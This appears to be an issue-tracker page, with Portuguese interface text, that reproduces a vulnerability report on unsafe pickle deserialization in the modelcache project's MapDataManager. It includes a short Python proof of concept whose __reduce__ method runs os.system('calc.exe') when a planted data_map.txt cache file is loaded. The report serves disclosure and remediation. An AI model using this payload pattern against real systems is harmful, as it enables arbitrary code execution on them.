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Insecure Deserialization Vulnerability in DataManager

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Avaliação

Dificuldade
5/5
Tempo estimado
Mais de uma semana
Facilidade para iniciantes
30/100
Tipo de issue
Bug
Clareza
Razoavelmente clara
Status de atividade
Estagnada
Stack de tecnologia
python
Domínio
backend, security

Direção de pesquisa

Comece localizando MapDataManager e a chamada a pickle.load; em seguida, rastreie como get_data_manager e factory.py criam e leem data_map.txt. Revise o formato do cache e todos os testes existentes antes de escolher uma substituição segura. A tarefa estará concluída quando os dados armazenados em cache puderem ser carregados sem execução arbitrária de código e o comportamento relevante de carregamento estiver coberto por testes.

Escrita pelo modelo de indexação a partir do texto da issue.

Descrição

Hi,

I've discovered a critical vulnerability in the MapDataManager class where pickle.load is used to deserialize cached data from a file. The use of pickle is inherently unsafe as it can execute arbitrary Python code during deserialization. This poses a significant risk, such as enabling remote code execution (RCE) by deserializing malicious objects.

PoC

Below is a simple PoC for this issue, I also attach a picture with 'dir' payload for your reference.


import pickle
import os
from modelcache.manager import get_data_manager

# Malicious class that executes arbitrary code when deserialized
class Exploit:
    def __reduce__(self):
        return (os.system, ('calc.exe',))  # calc.exe for windows

malicious_payload = pickle.dumps(Exploit())

with open("data_map.txt", "wb") as f: #Using data_map.txt like in factory.py
    f.write(malicious_payload)

# Simulate loading the malicious cache file
data_manager = get_data_manager(data_path="data_map.txt", max_size=1000)

While the example Flask application uses SQLite as the cache base, similar risks could arise if user-controlled data is cached into the database and subsequently deserialized.

Recommendation

To mitigate this issue, I strongly recommend avoiding pickle for serialization. Safer alternatives like JSON or MessagePack should be used, as they do not allow code execution.

Thanks.

Image

Linguagem predominante
Python
Estrelas
932
Forks
68
Nenhum PR com merge em 30d

Preparar o ambiente

  • Inclui um Dockerfile ou arquivo Docker Compose
  • Sem modelo de pull request
  • Sem guia de contribuição

Primeiros passos

  1. Leia a issue inteira e depois o guia de contribuição do projeto.
  2. Comente na issue dizendo que vai assumir — evita que duas pessoas façam o mesmo trabalho.
  3. Faça um fork do repositório e trabalhe em uma branch.
  4. Abra um pull request que referencie o número da issue.

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